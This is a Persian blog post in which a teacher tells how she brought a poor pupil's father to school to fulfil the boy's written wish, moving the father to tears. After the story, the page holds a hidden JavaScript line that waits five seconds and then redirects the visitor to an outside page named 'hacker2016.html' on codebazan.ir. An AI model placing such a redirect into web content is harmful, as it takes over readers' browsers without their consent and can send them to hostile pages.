آرزوی من/ زهرا صبورا سراجی
مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۳:۴۰ ب.ظ
اینجانب خانم عباس زاده در یکی از سال های دوران تدریسم دانش آموزی به
نام کمیل در کلاس دوم ابتدایی داشتم که پدرش کارگر و زحمت کش بود و معمولا زمان
کمی در کنار خانواده اش بود.هنگام بررسی تکالیف، در یکی از درس های هدیه های آسمان
در قسمتی به عنوان" آرزوهای من" دیدم کمیل نوشته است من آرزو دارم پدرم
فقط یکبار با من به مدرسه بیاید.تا بحال پدرش را در مدرسه ندیده بودم ولی تصمیم
داشتم هرطور شده او را به مدرسه بیاورم چون با دیدن این نوشته خیلی مضطرب حال
شدم.نامه ای را از مدیر تقاضا کردم تا پدر کمیل را به مدرسه بیاورم ولی آقای مدیر
نیز گفتند این آقا وضع مالی خوبی ندارد و صبح زود سرکار می رود ولی من با اصرار
گفتم اگر لازم باشد درآمد یکروزش را به او می دهم ولی حتما باید بیاید.به کمیل نیز
گفتم اگر پدرت قبول نکرد که بیاید تو هم به مدرسه نیا...فردای آن روز کمیل تنها به
مدرسه آمد و گفت پدرش هروقت توانست حتما می آید.تقریبا اواسط زنگ اول بود که آقای
مدیر به کلاس آمد و پدر کمیل را همراه خود آوردند.من ایشان را به کلاس دعوت کرده و
استقبال کردم و از کمیل پرسیدم که این آقا را می شناسی؟ او گفت: بله پدرم
هستند...گفتم ببخشید که مزاحم شما شدم آقا...شنیدید که کمیل جان گفتند بابای من به
مدرسه اومده؟ گفتند:بله. کتاب هدیه آسمان کمیل را دست پدرش دادم و خواستم قسمت آرزوهای او را
بخواند.پدر با خواندن آن جمله اشک در چشمانش جمع شد و از من برای اینکه توانستم
آرزوی کوچک فرزندش را بر آورده کنم تشکر کرد...خوشحالم که توانستم کار کوچکی برای
خوشحالی یکی از دانش آموزانم انجام دهم.
function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",5000);
- ۹۵/۰۲/۰۴